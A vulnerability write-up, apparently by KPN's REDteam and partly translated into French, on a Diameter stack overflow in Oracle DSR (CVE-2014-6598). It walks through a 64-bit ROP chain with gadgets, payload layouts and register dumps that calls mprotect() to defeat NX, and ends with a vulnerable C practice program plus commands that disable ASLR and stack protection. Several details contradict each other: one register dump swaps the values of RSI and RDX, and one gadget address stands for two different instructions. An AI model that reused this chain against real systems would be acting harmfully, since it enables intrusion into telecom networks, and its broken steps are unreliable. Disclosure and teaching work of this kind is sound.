kpn-ciso/dra_writeupWrite-up de la vulnérabilité de débordement de tampon de pile d'Oracle DSR (DRA) CVE-2014-6598
KPN est un opérateur de télécommunications situé aux Pays-Bas. La CISO REDteam a été introduite en 2013 et est l'équipe de hacking éthique de KPN. Cette équipe participe aux tests de sécurité des applications et services de KPN afin de garantir que les données de nos clients sont à l'abri des accès non autorisés, des modifications et des pertes de données.
KPN exploite le plus grand réseau mobile des Pays-Bas. L'un des composants du réseau 4G exploité par KPN est l'application Diameter Routing Agent nommée Oracle Diameter Signalling Router (DSR). Le Diameter Routing Agent (DRA) est un élément fonctionnel d'un réseau 3G ou 4G qui fournit des capacités de routage en temps réel afin de garantir que les messages sont routés entre les éléments corrects d'un réseau. Le 3GPP a introduit le DRA pour répondre à l'augmentation du volume du trafic de signalisation Diameter et à la complexité croissante des réseaux 4G LTE. Il peut être déployé soit comme routeur central qui route le trafic entre les éléments Diameter du réseau domestique, soit comme routeur passerelle qui route le trafic entre les éléments Diameter du réseau domestique et du réseau d'itinérance. Le 3GPP spécifie l'utilisation du protocole Diameter pour un certain nombre d'interfaces, dont l'une (S6a) utilisée pour la communication MME-HSS ainsi que pour l'itinérance.
L'image ci-dessous montre un déploiement DRA typique dans un environnement LTE. Toutes les interfaces entre les éléments sont des interfaces S6a.
L'Oracle DSR est un cluster de machines fonctionnant sous CentOS Linux qui assure la fonction DRA. Il est généralement connecté à différents MME et à un HSS dans le réseau LTE domestique, mais il peut également être connecté à des partenaires d'itinérance via le réseau IPX.
En utilisant la plateforme Codenomicon DEFENSICS, la KPN REDteam a découvert deux vulnérabilités majeures dans l'application Oracle DSR version 5.0 :
La première vulnérabilité permet à un attaquant distant non authentifié connecté au réseau IPX de compromettre complètement le DRA et ses composants. Lorsqu'un attaquant obtient le contrôle total du système DRA, il est capable de surveiller tout le trafic routé à travers le DRA et éventuellement d'infiltrer davantage le réseau central de l'opérateur de télécommunications.
Oracle a pris les vulnérabilités signalées au sérieux, et la KPN REDteam a travaillé en étroite collaboration avec Oracle pour résoudre ces problèmes, comme cela a également été indiqué dans leur avis client :
« Les tests de sécurité récents ont identifié deux vulnérabilités de sécurité dans des versions du produit Oracle Diameter Signaling Router. Pour protéger votre réseau contre d'éventuelles exploitations de ces vulnérabilités, Oracle recommande fortement d'appliquer sans délai les actions décrites dans le présent document. Oracle remercie Frank Cozijnsen, Ethical Hacker, KPN CISO REDteam, pour la découverte de la vulnérabilité de la pile Diameter décrite ci-dessous. Un merci particulier est adressé à KPN pour son soutien pendant la phase d'analyse d'Oracle. Remarque : ces constatations seront divulguées publiquement lors du prochain CPU planifié par Oracle, prévu le 20 janvier 2015. »
Les problèmes trouvés constituent une menace sérieuse pour les opérateurs de télécommunications qui utilisent l'Oracle DSR et pourraient être exploités par tout attaquant ayant accès à une connexion IPX.
La KPN REDteam teste les produits et services avant leur déploiement dans les réseaux de production. Dans le cadre d'un projet de mise à niveau, l'Oracle DSR version 5.0 a été testé d'un point de vue sécurité par la KPN REDteam. Le test de sécurité incluait le fuzzing de l'implémentation DIAMETER de l'Oracle DSR à l'aide de la Codenomicon Diameter Server test Suite. Le message Capabilities Exchange Request (CER), utilisé pour vérifier les capacités DIAMETER du serveur récepteur, a été utilisé comme cible de fuzzing initiale. Ce message a été choisi car il n'est pas transmis à d'autres systèmes tels que le HSS, mais est traité par le DSR lui-même. Pendant le fuzzing, plusieurs crashs du processus « dsr » ont été remarqués sur les lames Message Processor (MP) du DSR.
À l'aide de GDB avec le plug-in PEDA, le crash a été analysé et, finalement, un exploit distant a été écrit. Le crash était causé par une écriture hors limites au-delà de la fin du tampon situé sur la pile. L'écriture hors limites a corrompu la pile avec des données contrôlées par l'utilisateur. De plus, le pointeur de retour sauvegardé, c'est-à-dire l'adresse vers laquelle le programme retourne après avoir quitté une fonction, a été écrasé. Lorsque ce pointeur de retour peut être contrôlé par l'attaquant, cela peut conduire à une exécution de code arbitraire.
La principale raison de la rédaction de ce blog est d'expliquer comment la KPN REDteam a réussi à contourner les protections ASLR et NX en place et à créer un exploit fonctionnel d'exécution de code à distance. Normalement, les mécanismes de protection ASLR et NX ne constituent pas un obstacle majeur pour les attaquants, mais le DSR fonctionne sur CentOS 64 bits. Il n'existe pas beaucoup de documentation pratique sur le Return Oriented Programming (ROP) sur les systèmes Linux 64 bits protégés par ASLR.
Pendant le débogage, il a été remarqué que la bibliothèque libc était toujours mappée à la même adresse dans le processus dsr et que l'adresse ne changeait pas après un redémarrage. D'autres bibliothèques étaient mappées à des adresses mémoire aléatoires dans le processus dsr. Connaître l'adresse mémoire de libc permet d'utiliser libc comme source de gadgets ROP. Une autre option consiste à utiliser le binaire dsr lui-même comme source de gadgets ROP, mais le nombre de gadgets utiles dans ce fichier est limité.
Pour contourner la protection NX, la fonction mprotect() pourrait être utilisée pour rendre la pile exécutable et permettre l'exécution de notre shellcode.
La fonction mprotect() nécessite les valeurs suivantes dans les registres correspondants :
Si tous ces registres sont définis, mprotect() peut être appelée à l'offset 0xe54b0 dans la version cible de la bibliothèque libc.
La partie suivante du document suppose une connaissance de la ROP et de son fonctionnement. Il existe un bel exemple de création d'une chaîne ROP sur un système Linux 32 bits sur shell-storm.org. En raison de l'ASLR « partiel », l'emplacement de la pile elle-même n'était pas prévisible. Des gadgets ROP ont été utilisés pour stocker la valeur du pointeur de pile (%RSP) dans le registre %RSI.
Le registre %RDI doit contenir l'offset mémoire de la région mémoire qui doit être rendue exécutable.
Le pointeur de pile peut être utilisé pour déterminer cette adresse mémoire, et il doit être défini sur une limite de page mémoire. L'instruction XOR peut être utilisée pour mettre à zéro les 4 derniers octets de cette adresse afin de correspondre à une limite de page. Il n'existait qu'un gadget disponible pour effectuer cette opération sur le registre %RAX, la première étape consiste donc à transférer la valeur du pointeur de pile dans le registre %RAX.
La KPN REDteam ne souhaite pas encore divulguer trop d'informations sur l'exploit réel, les adresses utilisées ci-dessous sont donc fictives. Elles donnent néanmoins une idée de la séquence dans laquelle les instructions doivent être exécutées.
Le pointeur de pile est d'abord stocké dans un registre. Le registre %RSI est choisi car il n'existe aucun gadget disponible dans le binaire libc pour stocker la valeur directement dans le registre %RAX.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
La première instruction exécutée est « pop rcx », qui charge 0x00000039c2222222 dans le registre %RCX. L'instruction pop déplace également le pointeur de pile à l'endroit où 0x00000039c3333333 est stocké. Ce sera l'adresse du prochain gadget ROP : « push rsp ; and al, 8 ; call rcx ». L'instruction push rsp pousse le pointeur de pile sur la pile, puis l'adresse précédemment stockée dans le registre %RCX sera appelée. Cela charge deux valeurs depuis la pile dans les registres %RDX puis %RSI, et retourne à l'adresse 0x00000039c4444444. Le registre %RSI contient désormais le pointeur de pile précédemment stocké. Le gadget ROP situé à l'adresse 0x00000039c4444444 copie la valeur stockée dans %RSI vers %RAX.
Le pointeur vers notre pile dans le registre %RAX peut maintenant être utilisé pour modifier les permissions du mappage mémoire sur la pile. Pour mettre à zéro les 4 derniers octets, nous utilisons une instruction XOR qui ne s'applique qu'aux 4 derniers octets du registre %RAX :
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
L'étape suivante consiste à placer la valeur de %RAX dans %RDI :
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
Le registre %RDI contient maintenant un offset mémoire sur la pile qui est aligné sur une limite de page.
Le registre %RSI doit contenir la taille de la région mémoire qui doit être modifiée.
C'est simple, il suffit de placer la taille dans %RSI.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
Le registre %RDX doit contenir le bit de permissions, dans notre cas 0x7 -> permissions rwx.
Cette étape est similaire à l'étape précédente. La valeur sera dépilée de la pile :
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
Tous les registres ont maintenant la valeur correcte pour rendre cette partie de la pile exécutable.
Appeler mprotect()
L'adresse de l'instruction mprotect() doit être incluse dans le payload. Pour cet exemple, libc est chargée à l'adresse 0x0000003888c00000, donc le payload qui rendra la pile exécutable ressemble à ceci :
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
C'est tout. Pour terminer l'exploit, il faut encore vous assurer que votre pointeur d'instruction pointe vers votre shellcode, mais c'est facile après l'explication donnée.
Construire une chaîne ROP et tester son fonctionnement peut facilement se faire sur une machine Linux 64 bits. Pour essayer par vous-même, vous pouvez écrire un programme C vulnérable :
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
Compilez ce programme sans la protection Stack Smashing Protection (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
Pour les tests, assurez-vous de désactiver temporairement l'ASLR :
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Maintenant, lancez votre GDB et commencez à hacker..
Dans GDB, exécutez ce fichier en utilisant l'argument suivant :
run `perl -e'print "\x41" x500'`
Le plug-in PEDA pour GDB facilite grandement la vie et vous aidera à trouver vos gadgets ROP.